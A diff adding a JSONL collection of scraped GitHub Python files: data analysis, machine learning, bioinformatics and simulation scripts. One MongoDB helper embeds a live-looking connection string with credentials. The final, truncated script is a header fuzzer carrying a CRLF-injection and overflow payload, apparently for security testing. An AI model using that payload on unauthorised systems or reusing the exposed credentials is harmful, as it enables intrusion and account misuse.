diff --git "a/2466.jsonl" "b/2466.jsonl" new file mode 100644--- /dev/null +++ "b/2466.jsonl" @@ -0,0 +1,466 @@ +{"seq_id":"26637658491","text":"from tkinter import *\nimport csv\nimport matplotlib.pyplot as plt\n\nwith open('/home/namydad/Schreibtisch/Prog Python/my-python-work/tkinter/csv files/Temperatur-2021-Mannheim.csv', newline='') as csvfile:\n temperatur = list(csv.reader(csvfile))\n\nmonat=[1,2,3,4,5,6,7,8,9,10,11,12]\nfig = plt.figure(dpi=128,figsize=(10,6))\nplt.plot(monat,temperatur,c='red')\n\nplt.title(\"Temperatur\")\nplt.xlabel(\"Monat\")\nplt.ylabel(\"Temperatur\")\n\nplt.show()\n","repo_name":"Namydad/my-python-work","sub_path":"tkinter/csvfiles.py","file_name":"csvfiles.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"4383933932","text":"\"\"\"\nCreated on Wed Nov 13 2019\n@author: RosemaryHe\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport math\nfrom sklearn import datasets, linear_model\nimport sqlalchemy\nimport urllib\n\n##find the coefficient of linear regression\ndef linear_regression_coef(X,y):\n reg = linear_model.LinearRegression()\n reg.fit(X,y)\n return reg.coef_\n\nDB_CONN = 0 #1-有数据库连接,从数据库取数据;0-无连接,从csv文件取数据\ninFilename = 'A.h5'\noutFilename = 'BarraGrowth.h5'\n\ndef CalBarraGrowth(dates):\n Growth = ['EGRLF','EGRSF','EGRO','SGRO']\n statemap = {'EGRLF':['对未来三年预期净利润','net_profit0'], ##数据缺失\n 'EGRSF':['对未来一年预期净利润','net_profit0'], ##数据缺失\n 'EGRO':['net_profit0'], ##年报每股收益 = 当期净利润/当期在外发行普通股\n 'SGRO':['operate_profit','operate_expense']}\n\n if DB_CONN == 1:\n #函数以数据库连接\n conn_params = urllib.parse.quote_plus(\"\"\"DRIVER={SQL Server Native Client 10.0};\n SERVER=quant;DATABASE=tbas;UID=*****;PWD=********\"\"\")\n conn = sqlalchemy.create_engine(\"mssql+pyodbc:///?odbc_connect=%s\" % conn_params)\n conn_params=urllib.parse.quote_plus(\"\"\"DRIVER={SQL Server Native Client 10.0};\n SERVER=10.130.14.41;DATABASE=fcdb;UID=*****;PWD=********\"\"\")\n conn2 = sqlalchemy.create_engine(\"mssql+pyodbc:///?odbc_connect=%s\" % conn_params)\n\n for factor in Growth:\n fcl = ['date'] + statemap[factor]\n\n #数据读入,市场,财务数据\n st = pd.HDFStore(inFilename)\n state = st.select('sheet',\"columns=\"+str(fcl))\n if factor in ['EGRO','SGRO']:\n mkt = st.select('mkt', \"columns=['total_share']\")\n st.close()\n\n #因子计算,财务数据对齐\n ##财务数据对齐\n state = state.unstack()\n state = state[(state.index.month.isin([3,6,9,12]))].stack()\n\n nf = state.reset_index()\n tnf = nf['pdate'].groupby([nf['date'],nf['sec_code']]).max()\n nf = nf.set_index(['date', 'sec_code', 'pdate'])\n tnf = tnf.reset_index()\n tnf = tnf.set_index(['date', 'sec_code', 'pdate'])\n nf = nf[nf.index.isin(tnf.index)]\n nf = nf.reset_index('pdate')\n\n nf = nf.drop(['pdate'], axis=1)\n\n ##日度对齐\n nf = nf.unstack()\n if factor in ['EGRO','SGRO']:\n nf = nf.reindex(nf.index.union(dates))\n mkt = mkt.unstack()\n mkt = mkt.reindex(mkt.index.union(dates)).ffill()\n mkt = mkt.reindex(dates)\n else:\n nf = nf.reindex(nf.index.union(dates)).ffill()\n nf = nf.reindex(dates)\n\n if factor in ['EGRLF','EGRSF']:\n factorvalue = nf[statemap[factor][0]] / (math.abs(nf[statemap[factor][1]]) - 1)\n\n elif factor in ['EGRO','SGRO']:\n ##temp5是要回归的数据\n if factor == 'EGRO':\n temp5 = nf['net_profit0'] / mkt['total_share']\n else:\n temp5 = (nf['operate_profit'] + nf['operate_expense']) / mkt['total_share']\n\n factorvalue = abs(temp5.copy(deep=True) * 0)\n for i in range(len(temp5.iloc[0, :])):\n stock_val = temp5.iloc[:, i]\n stock_val = stock_val.dropna(how='all')\n stock_fval = abs(stock_val.copy(deep=True) * 0)\n for j in range(len(stock_val)-1, 19, -1): ##回归过去5年,就是20个季度\n temp_y = stock_val.iloc[j-20:j].fillna(0)\n temp_x = np.arange(20)\n x = np.asmatrix(temp_x).transpose()\n y = np.asmatrix(temp_y).transpose()\n B = linear_regression_coef(x, y)\n mean = y.mean()\n if mean == 0:\n stock_fval.iloc[j] = B\n else:\n stock_fval.iloc[j] = B / mean\n stock_fval = stock_fval.reindex(stock_fval.index.union(dates)).ffill()\n factorvalue.iloc[:,i] = stock_fval\n\n st = pd.HDFStore(outFilename)\n if factor in [x[1:] for x in st.keys()]:\n existday = st.select_column(factor, 'index')\n st.append(factor, factorvalue.loc[factorvalue.index.difference(existday)], format='t')\n else:\n st.append(factor, factorvalue, format='t')\n st.close()\n \n print(factor)\n\n\n\n\n","repo_name":"rosie068/BARRA_risk","sub_path":"CalBarraGrowth.py","file_name":"CalBarraGrowth.py","file_ext":"py","file_size_in_byte":4499,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"30"} +{"seq_id":"12146459021","text":"import cv2\nimport numpy as np\nimport math\n\n\nclass PadImage:\n def __init__(self, pad_value=0, image_shape=(640, 640)):\n self.pad_value = pad_value\n self.image_shape = image_shape\n\n def pad_img(self, data):\n img = data[\"image\"]\n h, w, _ = img.shape\n pads = [\n math.floor((self.image_shape[0] - h) // 2),\n math.floor((self.image_shape[1] - w) // 2),\n ]\n padded_img = cv2.copyMakeBorder(\n img,\n pads[0],\n int(self.image_shape[0] - h - pads[0]),\n pads[1],\n int(self.image_shape[1] - w - pads[1]),\n cv2.BORDER_CONSTANT,\n value=self.pad_value,\n )\n return padded_img, pads\n\n def __call__(self, data):\n padded_img, pads = self.pad_img(data)\n data[\"image\"] = padded_img\n data[\"pads\"] = pads\n return data\n\nclass NormalizeImage:\n \"\"\" normalize image such as substract mean, divide std\n \"\"\"\n\n def __init__(self, scale=None, mean=None, std=None, order='chw'):\n if isinstance(scale, str):\n scale = eval(scale)\n self.scale = np.float32(scale if scale is not None else 1.0 / 255.0)\n mean = mean if mean is not None else [0.485, 0.456, 0.406]\n std = std if std is not None else [0.229, 0.224, 0.225]\n\n shape = (3, 1, 1) if order == 'chw' else (1, 1, 3)\n self.mean = np.array(mean).reshape(shape).astype('float32')\n self.std = np.array(std).reshape(shape).astype('float32')\n\n def __call__(self, data):\n img = data['image']\n from PIL import Image\n if isinstance(img, Image.Image):\n img = np.array(img)\n assert isinstance(img,\n np.ndarray), \"invalid input 'img' in NormalizeImage\"\n data['image'] = (\n img.astype('float32') * self.scale - self.mean) / self.std\n return data\n\n\nclass ToCHWImage(object):\n \"\"\" convert hwc image to chw image\n \"\"\"\n\n def __init__(self, **kwargs):\n pass\n\n def __call__(self, data):\n img = data['image']\n from PIL import Image\n if isinstance(img, Image.Image):\n img = np.array(img)\n data['image'] = img.transpose((2, 0, 1))\n return data\n\n\nclass KeepKeys(object):\n def __init__(self, keep_keys):\n self.keep_keys = keep_keys\n\n def __call__(self, data):\n data_list = []\n for key in self.keep_keys:\n data_list.append(data[key])\n return data_list\n\n\nclass DetResizeForTest(object):\n def __init__(self, image_shape=(640, 640), keep_ratio=True):\n super(DetResizeForTest, self).__init__()\n self.image_shape = image_shape\n self.keep_ratio = keep_ratio\n\n def __call__(self, data):\n img = data['image']\n src_h, src_w, _ = img.shape\n img, [ratio_h, ratio_w] = self.resize_image(img)\n data['image'] = img\n data['shape'] = np.array([src_h, src_w, ratio_h, ratio_w])\n return data\n\n def resize_image(self, img):\n resize_h, resize_w = self.image_shape\n ori_h, ori_w = img.shape[:2] # (h, w, c)\n if self.keep_ratio is True:\n if ori_h > ori_w:\n resize_w = ori_w * resize_h / ori_h\n else:\n resize_h = ori_h * resize_w / ori_w\n\n ratio_h = float(resize_h) / ori_h\n ratio_w = float(resize_w) / ori_w\n img = cv2.resize(img, (int(resize_w), int(resize_h)))\n return img, [ratio_h, ratio_w]\n","repo_name":"opencv-ai/paddle-ocr","sub_path":"transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"72529743446","text":"import requests\nimport json\n\nif __name__ == '__main__':\n url = 'https://italocosilva-census-bureau.herokuapp.com/inference/'\n\n data = {\n \"age\": 39,\n \"workclass\": \"State-gov\",\n \"fnlgt\": 77516,\n \"education\": \"Bachelors\",\n \"education_num\": 13,\n \"marital_status\": \"Never-married\",\n \"occupation\": \"Adm-clerical\",\n \"relationship\": \"Not-in-family\",\n \"race\": \"White\",\n \"sex\": \"Male\",\n \"capital_gain\": 2174,\n \"capital_loss\": 0,\n \"hours_per_week\": 40,\n \"native_country\": \"United-States\"\n }\n\n r = requests.post(url, data=json.dumps(data))\n print(f'Status code: {r.status_code}')\n print(f'Response: {r.text}')\n","repo_name":"italocosilva/census_bureau","sub_path":"query_live.py","file_name":"query_live.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"20589096488","text":"class Solution:\n\tdef coinChange(self, coins, amount):\n\t\t#构建一个amount+1 个元素的数组,每个元素的值是amount+1,其实只要是比amount大就可以\n\t\tdp = [amount+1] * (amount +1)\n\t\t#第0位置为0,因为找回0元需要0个硬币\n\t\tdp[0] = 0\n\t\t#从数组dp的第一个开始遍历\n\t\tfor i in range(1, amount+1):\n\t\t\t#c中存着硬币面值,遍历一遍\n\t\t\tfor c in coins:\n\t\t\t\t#i其实就是要找回的零钱数,i>=c其实就是说明可以找回,否则零钱面值过大无法找钱\n\t\t\t\tif i >= c:\n\t\t\t\t\t#判断,也是动态编程的核心部分\n\t\t\t\t\tdp[i] = min(dp[i], dp[i-c]+1)\n\t\tif dp[amount] == amount + 1:\n\t\t\treturn -1\n\t\treturn dp[amount]\n\n\n# class Solution(object):\n# \tdef coinChange(self, coins, amount):\n# \t\t\"\"\"\n# :type coins: List[int]\n# :type amount: int\n# :rtype: int\n# \"\"\"\n# \t\trs = [amount+1] * (amount+1)\n# \t\trs[0] = 0\n# \t\tfor i in range(1, amount+1):\n# \t\t\tfor c in coins:\n# \t\t\t\tif i >= c:\n# \t\t\t\t\trs[i] = min(rs[i], rs[i-c] + 1)\n\n# \t\tif rs[amount] == amount+1:\n# \t\t\treturn -1\n# \t\treturn rs[amount]\n\n\n\n\ndef main():\n\t\t\tcoins = [5,1,2]\n\t\t\tamount = 11;\n\n\t\t\tret = Solution().coinChange(coins, amount)\n\n\t\t\tout = str(ret);\n\t\t\tprint(out)\n\t\t\nif __name__ == '__main__':\n\tmain()","repo_name":"bfan4/MyLeetcode","sub_path":"322CoinChange.py","file_name":"322CoinChange.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"73590740563","text":"import random\nimport numpy as np\n\nimport torch\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nimport math\n\nfrom utils import *\n\n# pdf of normal (P(X = x))\ndef normal(x, mu, sigma_sq):\n pi = Variable(torch.FloatTensor([math.pi])).expand_as(sigma_sq)\n a = (-1*(Variable(x)-mu).pow(2)/(2*sigma_sq)).exp()\n b = 1/(2*sigma_sq*pi.expand_as(sigma_sq)).sqrt()\n return a*b\n\nclass Policy(nn.Module):\n def __init__(self, hidden_size, num_inputs, num_actions):\n super(Policy, self).__init__()\n self.num_actions = num_actions\n self.fc1 = nn.Linear(num_inputs, hidden_size)\n self.fc2_mu = nn.Linear(hidden_size, num_actions)\n self.fc2_sigma_sq = nn.Linear(hidden_size, num_actions)\n\n def forward(self, inputs):\n x = F.relu(self.fc1(inputs))\n mu = self.fc2_mu(x)\n sigma_sq = self.fc2_sigma_sq(x)\n return mu, sigma_sq \n\nclass REINFORCE(object):\n def __init__(self, \n hidden_size,\n observation_dim,\n num_actions):\n self.hidden_size = hidden_size\n self.observation_dim = observation_dim\n self.num_actions = num_actions\n\n self.model = Policy(hidden_size, observation_dim, num_actions)\n\n self.optimizer = optim.Adam(self.model.parameters(), lr=1e-3)\n self.model.train()\n\n def select_action(self, state, t):\n mu, sigma_sq = self.model(Variable(state))\n sigma_sq = F.softplus(sigma_sq)\n\n eps = Variable(torch.randn(mu.size()))\n\n action = (mu + sigma_sq.sqrt() * eps).data\n prob = normal(action, mu, sigma_sq)\n\n # differential entropy for normal dist\n pi = Variable(torch.FloatTensor([math.pi])).expand_as(sigma_sq)\n e = Variable(torch.FloatTensor([math.e])).expand_as(sigma_sq)\n entropy = -0.5*((2*pi*e*sigma_sq).log())\n\n log_prob = prob.log()\n\n return action, log_prob, entropy\n\n def update_parameters(self, rewards, log_probs, entropies, gamma):\n R = torch.zeros(1, 1)\n loss = 0\n for i in reversed(range(len(rewards))):\n R = gamma * R + rewards[i]\n R_temp = Variable(R).expand_as(log_probs[i])\n loss -= (log_probs[i]*R_temp).sum() - (0.0001*entropies[i]).sum()\n loss = loss / len(rewards)\n\n self.optimizer.zero_grad()\n loss.backward()\n torch.nn.utils.clip_grad_norm(self.model.parameters(), 40)\n self.optimizer.step()\n\n","repo_name":"dxyang/pytorch-RL","sub_path":"reinforce.py","file_name":"reinforce.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"5691101928","text":"### Rosalind Problems ###\r\n### Counting Point Mutations ###\r\n\r\nfile_name = \"rosalind_hamm.txt\"\r\nfile = open(file_name, \"rt\").readlines()\r\n\r\ns = file[0]\r\nt = file[1]\r\nhamm = 0\r\nfor i, j in zip(s, t):\r\n if i != j:\r\n hamm += 1\r\n\r\nprint(hamm)\r\n","repo_name":"dna-witch/Rosalind","sub_path":"Solutions/Bioinformatics Stronghold/hamm.py","file_name":"hamm.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"29258649233","text":"def find_max(items): # O(unordered list)\n if len(items) == 1:\n return items[0]\n\n op1 = items[0]\n print(op1)\n op2 = find_max(items[1:])\n print(op2)\n\n return op1 if op1 > op2 else op2\n\n\nif __name__ == '__main__':\n items1 = [6, 20, 8, 19, 56, 23, 87, 41, 49, 53]\n print(find_max(items1))\n","repo_name":"islam-aymann/learning-with-python","sub_path":"DataStructuresAndAlogrithms/linkedin/ProgrammingFoundations-Algorithms/6 Other Algorithms/find_max.py","file_name":"find_max.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"5974619700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 4 16:23:30 2018\nVersion 1.10(10/12/2018)\nPLEASE NOTE: In order for this code to function, the logical steps have\nbeen altered despite wanting step 4 to be step 7. \nREQUIREMENTS FOR CODE TO FUNCTION:\n Agent_Framework.py\n in.txt\n Tools>Preferences>IPython console> Graphics>\\Inline\"\n \n@author: gy18os\n\"\"\"\n################## - 1. SET UP FUNCTIONS - ###################################\n#import all functions called to run all applicable code \nimport random #inputting the random function\nimport operator\nimport csv # import csv function to read lines of code from \"in.txt\"\nimport matplotlib #import matplotlib function\nimport matplotlib.pyplot #inputting code to allow for matplot for code\nimport matplotlib.animation #import animation function.\nimport Agent_Framework_2 #inform the agent framework - separate bracket of agents, external to other aspects of code. \nimport matplotlib.backends.backend_tkagg\nimport tkinter #import gui machanism \nimport time #enables the ability to time agent processing.\nimport requests\nimport bs4\nimport sys\n################# - 2. WEB SCRAPING DATA PLOTS ################################\nr = requests.get('http://www.geog.leeds.ac.uk/courses/computing/practicals/python/agent-framework/part9/data.html')\ncontent = r.text\nsoup = bs4.BeautifulSoup(content, 'html.parser')\ntd_ys = soup.find_all(attrs={\"class\" : \"y\"})\ntd_xs = soup.find_all(attrs={\"class\" : \"x\"})\n#print(td_ys)\n#print(td_xs) \n############### - 3. CREATION OF DATA LISTS AND PARAMETERS ####################\nenvironment = [] #creation of environment empty list for agent plots \nnum_of_agents = 10 #setting up number of agents to implement into the model\nnum_of_iterations = 100 #setting up number of times to randomise the agent positions\nneighbourhood = 20\nagents = [] #creation of a list\ndistances = [] # creation of a list\nstart = time.process_time()\n#for testing purposes\ntest = 6\ntest2 = 4\n\n################## - 4. SET UP GUI CANVAS #####################################\n\nfig = matplotlib.pyplot.figure(figsize=(7, 7))\nax = fig.add_axes([0, 0, 1, 1])\nroot = tkinter.Tk() \nroot.wm_title(\"Model\") \ncanvas = matplotlib.backends.backend_tkagg.FigureCanvasTkAgg(fig, master=root) \ncanvas._tkcanvas.pack(side=tkinter.TOP, fill=tkinter.BOTH, expand=1)\n \n############## - 5. EXTRACT ENVIRONMENT FROM CSV FILE- #######################\n\n#Importation of datalist, reading the list and appending the environment\nf = open (\"in.txt\") \nreader = csv.reader(f)\nenvrionment = [] #create a new list in which to rows from rowlist\nfor row in reader:\n rowlist = [] #creation of lists derived from csv file\n environment.append(rowlist)\n for value in row:\n #indented below to combat float error. ensure indention is correct\n rowlist.append(int(value))\nf.close()\n############### -6. MAKE AGENTS - #############################################\n\n#(1) Make the agents and set up x and y co-rdinates and (2) introduce agent_framework.\n#Agent_framework_2 is the file i want to input into the ABM that set ups agent\n#movements and data. I call upon an external py. file. \nfor i in range(num_of_agents):\n y = int(td_ys[i].text)\n x = int(td_xs[i].text)\n agents.append(Agent_Framework_2.Agent(environment, agents, y, x)) #introduced environments\n \n#################### 6.1 TEST CODE IS FUNCTIONAL ##############################\n print(test)\n############# - 7. INPUTTING PARAMETERS AND RULES FOR GUI- ####################\n \ncarry_on = True #informing the GUI to carry one after each iteration against the criteria.\n\ndef update(frame_number):\n sys.stdout.flush()\n # sys.stdout.flush() checks to see which part of the code is problematic\n global carry_on\n fig.clear() \n matplotlib.pyplot.xlim(0, 99)\n matplotlib.pyplot.ylim(0, 99)\n \n matplotlib.pyplot.imshow(environment)\n \n for i in range(num_of_agents):\n agents[i].move() #move agents\n agents[i].eat() #eat agents for environment to absorb agents\n agents[i].share_with_neighbours(neighbourhood) #communication with agents iterations. \n \n for i in range(num_of_agents):\n matplotlib.pyplot.scatter(agents[i].x,agents[i].y) \n \n if random.random()< 0.1:\n carry_on = False\n print(\"stopping condition\") # if agents random value is below 0.1, \n # I am calling for the model to stop. \n \ndef gen_function(b = [0]):\n a = 0\n global carry_on #not needed as were not assigning, but clearer\n while (a<20) & (carry_on) :\n yield a #returns control and waits next call\n a = a + 1\n \n######################7.1 TEST CODE IS FUNCTIONAL #############################\n print (test + test2) \n###################### -8. CREATION OF GUI- #####################################\n \ndef run(): # this is called by the GUI menu item 'Run'\n global animation# taking the animation outside the local environment\n print('hip8') #testing code is functional \n animation = matplotlib.animation.FuncAnimation(fig, update, frames=gen_function, repeat=False) \n #plot both datasets together - requirement of eating remaining data first then introduce code below. \n canvas.show() #to show canvas onto GUI as coded above in part 4 block.\n\n \nmenu_bar = tkinter.Menu(root) #root is the configuration display - menu bar. \nroot.config(menu=menu_bar) \nmodel_menu = tkinter.Menu(menu_bar) \nmenu_bar.add_cascade(label=\"Model\", menu=model_menu) \nmodel_menu.add_command(label=\"Run model\", command=run)\n\ntkinter.mainloop() # to initiate the loops within GUI. \n\n\n","repo_name":"OliverSmith95/Assessment_One","sub_path":"ABM_Final.py","file_name":"ABM_Final.py","file_ext":"py","file_size_in_byte":5604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"4687610791","text":"import os\nos.chdir('C:\\\\Users\\\\Terry Tang\\\\Desktop\\\\Python3.3\\\\Rosalind_bioinformatics')\nfile=open('rosalind_cons.txt','r')\n\nfileout = open('CONS_output.txt','w')\n\nlines = file.readlines()\n\nseqs = []\nfor line in lines:\n line = line.rstrip()\n seqs.append(line)\n\n# make nested lists for columns in seqs\ntransseq = [[row[i] for row in seqs] for i in range(len(seqs[0]))]\n\na = []\nc = []\ng = []\nt = []\ncons = ''\nfor pos in transseq:\n a.append(pos.count('A'))#collect frequency of A in each sublist(each column)\n c.append(pos.count('C'))\n g.append(pos.count('G'))\n t.append(pos.count('T'))\n\n counta = pos.count('A')\n countc = pos.count('C')\n countg = pos.count('G')\n countt = pos.count('T')\n\n if counta == max(counta,countc,countg,countt):\n cons += 'A'\n elif countc == max(counta,countc,countg,countt):\n cons += 'C'\n elif countg == max(counta,countc,countg,countt):\n cons += 'G'\n elif countt == max(counta,countc,countg,countt):\n cons += 'T'\n\nastr = 'A:'\ncstr = 'C:'\ngstr = 'G:'\ntstr = 'T:'\n\nfor x in a:\n astr = astr + ' ' + str(x) # make a row such that A: 5 1 0 0 5 5 0 0\nfor x in c:\n cstr = cstr + ' ' + str(x)\nfor x in g:\n gstr = gstr + ' ' + str(x)\nfor x in t:\n tstr = tstr + ' ' + str(x)\n\nprint (cons)\nprint (astr)\nprint (cstr)\nprint (gstr)\nprint (tstr)\n\ncons += '\\n'\nastr += '\\n'\ncstr += '\\n'\ngstr += '\\n'\n\n\nfileout.write(cons)\nfileout.write(astr)\nfileout.write(cstr)\nfileout.write(gstr)\nfileout.write(tstr)\n","repo_name":"race-condition/Bioinformatics","sub_path":"Consensus and Profile.py","file_name":"Consensus and Profile.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"26482413120","text":"# -*- coding: utf-8 -*-\n\nimport h5py\nimport numpy as np\n\n_compress_option = dict(compression=\"gzip\", compression_opts=9, shuffle=False)\n\n\ndef transform_hdf5():\n f = h5py.File('../../squad_data/squad_glove.h5-600', 'a')\n\n f_data = f['data']\n for k1 in ['train', 'dev']:\n\n cur_data = f_data[k1]\n for k2 in ['context', 'question']:\n tokens = np.array(cur_data[k2])\n\n del f_data[k1][k2]\n cur_data.create_group(k2)\n data = cur_data[k2].create_dataset('token', tokens.shape, dtype=tokens.dtype, **_compress_option)\n data[...] = tokens\n\n f.close()\n\n\nif __name__ == '__main__':\n transform_hdf5()","repo_name":"laddie132/Match-LSTM","sub_path":"helper_run/transform_hdf5.py","file_name":"transform_hdf5.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"30"} +{"seq_id":"47800257017","text":"from pymongo import MongoClient\r\n\r\n\r\nclass Apartados:\r\n def buscar_apartados(self, token):\r\n client = MongoClient(\r\n \"mongodb+srv://ichigoabarai:yabinyabin@cluster0.d03gnab.mongodb.net/?retryWrites=true&w=majority\"\r\n )\r\n db = client.get_database(\"coppel\")\r\n records = db.usuarios\r\n try:\r\n find = records.find_one({\"token\": token}, {\"comics\": 1})\r\n if find == None:\r\n return False\r\n elif find[\"comics\"] == []:\r\n return None\r\n else:\r\n return find[\"comics\"]\r\n except Exception as e:\r\n return \"No\"\r\n","repo_name":"ichigoabarai/coppel","sub_path":"coppel/coppel4/apartados.py","file_name":"apartados.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36129802313","text":"import torch\nimport torch.autograd as autograd\nimport numpy as np\n\ndef make_one_hot_vec_target(word, word_to_ix):\n rst = autograd.Variable(torch.LongTensor([word_to_ix[word]]))\n return rst\n\ndef invert_dict(d):\n return dict((v, k) for k, v in d.items())\n\ndef prepare_batch_sequence(data, word_to_ix):\n max_len = np.max([len(s) for s in data])\n tensor_data = torch.zeros(len(data), int(max_len+2))\n for i in range(len(data)):\n idxs = [word_to_ix[w] for w in data[i]]\n idxs.insert(0, word_to_ix[''])\n idxs.append(word_to_ix[''])\n for j in range(len(idxs), max_len+2):\n idxs.append(word_to_ix[''])\n\n tensor = torch.LongTensor(idxs)\n tensor_data[i] = tensor\n\n return tensor_data\n\ndef toList(sen):\n rst = []\n for s in sen:\n rst.append(s)\n return rst\n\ndef generate_samples(generator, max_length, sample_size, word_to_ix):\n samples = torch.zeros(sample_size, max_length)\n for i in range(sample_size):\n onesamp = []\n startWord = \"\"\n input = make_one_hot_vec_target(startWord, word_to_ix)\n onesamp.append(word_to_ix[startWord])\n hidden = generator.initHidden()\n\n for j in range(max_length-1):\n output, hidden = generator(input, hidden)\n\n out = torch.multinomial(torch.exp(output), 1)\n #values, out = torch.max(output, 1)\n if out.data.numpy() == word_to_ix['']:\n break\n onesamp.append(int(out.data.numpy()))\n input = out\n for j in range(len(onesamp), max_length):\n onesamp.append(word_to_ix[''])\n\n tensor = torch.LongTensor(onesamp)\n samples[i] = tensor\n return samples\n\ndef prepare_generator_training_data(true_data, gpu=False):\n batch_size, seq_len = true_data.size()\n\n input = true_data[:, :seq_len-1]\n target = true_data[:, 1:]\n\n input = autograd.Variable(input).type(torch.LongTensor)\n target = autograd.Variable(target).type(torch.LongTensor)\n\n if gpu:\n input = input.cuda()\n target = target.cuda()\n\n return input, target\n\ndef prepare_discriminator_training_data(true_data, generate_data, gpu=False):\n input = torch.cat((true_data, generate_data), 0).type(torch.LongTensor)\n labels = torch.ones(true_data.size()[0] + generate_data.size()[0])\n labels[generate_data.size()[0]:] = 0\n\n # shuffle\n perm = torch.randperm(labels.size()[0])\n input = input[perm]\n labels = labels[perm]\n\n input = autograd.Variable(input)\n labels = autograd.Variable(labels)\n\n if gpu:\n input = input.cuda()\n labels = labels.cuda()\n\n return input, labels\n\ndef idx2words(ids, word_to_ix):\n ix_to_word = invert_dict(word_to_ix)\n sent = \"\"\n idnum = ids.numpy()[0]\n print(idnum)\n for id in idnum:\n sent += ix_to_word[id]\n return sent\n\ndef batchwise_sample(generator, num_samples, batch_size, max_len, word_to_ix):\n samples = []\n for i in range(int(np.ceil(num_samples/float(batch_size)))):\n samples.append(generate_samples(generator, max_len, batch_size, word_to_ix))\n\n return torch.cat(samples, 0)[:num_samples]\n\n# convert from list of parameter to 1d numpy array\ndef param2flat(params):\n pm = np.array([], dtype=np.float32)\n for p in params:\n pm = np.append(pm, p.data.numpy())\n return pm\n\ndef flat2param(flatpm, params):\n cur_pos = 0\n for pm in params:\n shape = pm.data.numpy().shape\n pm.data = torch.from_numpy(np.reshape(flatpm[cur_pos:cur_pos + np.prod(shape)], shape))\n\n\n\n\n\n\n\n","repo_name":"ytian81/chinese-poem","sub_path":"seqgan/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"29367015721","text":"#!/usr/bin/env python3\r\nimport argparse\r\nimport brotli\r\nfrom http.cookies import SimpleCookie\r\nimport json\r\nimport random\r\nimport requests\r\nimport os\r\nimport gzip\r\nimport zlib\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\r\n\r\n_proxy = 'http://127.0.0.1:8080'\r\ndir = os.path.dirname(os.path.realpath(__file__))\r\nheaderPayload = \"%0D%0A`~!@#$%^&*()_+{}=-[]:;'\\\"\\\\?/><.,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"\r\n\r\nclass RespResult:\r\n \"\"\"Simple Object\"\"\"\r\n def __init__(self, status_code=\"\", contentLength=\"\", isLenDifferent=False, isPayloadInBody=False):\r\n self.status_code = status_code\r\n self.contentLength = contentLength\r\n self.isLenDifferent = isLenDifferent\r\n self.isPayloadInBody = isPayloadInBody\r\n \r\ndef decode_content_body(data, encoding):\r\n if encoding == 'identity':\r\n text = data\r\n elif encoding in ('gzip', 'x-gzip'):\r\n text = gzip.decompress(data)\r\n elif encoding == 'deflate':\r\n try:\r\n text = zlib.decompress(data)\r\n except zlib.error:\r\n text = zlib.decompress(data, -zlib.MAX_WBITS)\r\n elif encoding == 'br':\r\n text = brotli.decompress(data)\r\n else:\r\n raise Exception(\"Unknown Content-Encoding: %s\" % encoding)\r\n return text \r\n \r\ndef process_response(resp, baselineLen):\r\n retval = RespResult()\r\n content_encoding = resp.headers.get('Content-Encoding', 'identity')\r\n resp_content = decode_content_body(resp.content, content_encoding)\r\n if baselineLen != len(resp_content):\r\n retval.isLenDifferent = 